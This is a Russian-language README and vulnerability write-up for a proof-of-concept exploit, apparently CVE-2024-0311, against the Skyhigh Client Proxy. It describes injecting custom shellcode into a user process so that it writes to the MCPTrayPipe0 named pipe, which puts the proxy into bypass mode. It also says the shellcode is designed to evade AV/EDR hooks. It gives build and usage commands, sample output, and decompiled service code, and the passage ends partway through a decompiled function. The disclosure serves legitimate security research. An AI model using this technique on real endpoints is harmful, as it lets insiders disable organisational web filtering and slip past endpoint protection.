
Эксплойт для проверки концепции уязвимости CVE-2024-0311, обходящий политику Skyhigh Client Proxy с помощью внедрения процессов и манипуляции именованными каналами, с пользовательским шелл-кодом для обхода ограничений AV/EDR.
Это PoC для того, что, как я считаю, является CVE-2024-0311, SB10418.
Злоумышленник изнутри может обойти существующую политику Skyhigh Client Proxy без действующего кода выпуска.
Много деталей. Очень эксплойт. ¯\(ツ)/¯
PoC внедряется в процесс SCPBypass.exe, запущенный пользователем, и записывает в канал SCPService.exe: \\.\pipe\MCPTrayPipe0.
Внедрение необходимо, поскольку, даже если канал имеет права RW Everyone, WGUARDNT выполняет некоторые проверки исполняемого файла, записывающего в канал (проверяется путь записывающего), см. ниже.
Предоставлен пример шелл-кода, который позволяет выполнить WriteFile в канал, даже если Trellix/McAfee активны и перехватывают/блокируют LoadLibrary.
Соберите в Debug или Release из Visual Studio.
Сгенерируйте шелл-код с помощью:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
затем замените шелл-код в shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
Пример вывода:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Если всё прошло хорошо, в лог-файлах SCP вы должны найти запись, похожую на эту:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Это будет краткий отчёт, потому что ни у кого нет времени на слова.
Прежде всего, что такое клиент Skyhigh proxy?
Программное обеспечение Skyhigh Security Client Proxy помогает защитить конечных пользователей от угроз безопасности, возникающих при доступе к веб-сайтам изнутри или из-за пределов вашей сети. Клиентское ПО, установленное на конечных точках под управлением Microsoft Windows или macOS, перенаправляет веб-запросы или разрешает их передачу на прокси-сервер для фильтрации. Серверное ПО работает на одной из платформ управления: Trellix ePO SaaS или Trellix ePO Cloud.
Это должно прояснить.
Учитывая информацию из уведомления, не на что опираться.
Честно говоря, я изучал бинарный сервис в поисках легко эксплуатируемых проблем для повышения привилегий, когда увидел CreateNamedPipe и заинтересовался.
Вот быстрая копия декомпилированного кода из Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Как мы видим, при вызове функции инициализируется новая структура DACL и создаётся новый канал \\.\pipe\MCPTrayPipe0 в byte mode.
Затем, пока дескриптор этого канала действителен, программа читает из него и пытается преобразовать отправленные байты из ASCII в int с помощью atoi(out_lpBuffer).
Игнорируя тот факт, что существуют лучшие альтернативы atoi, если вызов atoi не завершился ошибкой, преобразованное значение передаётся в FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];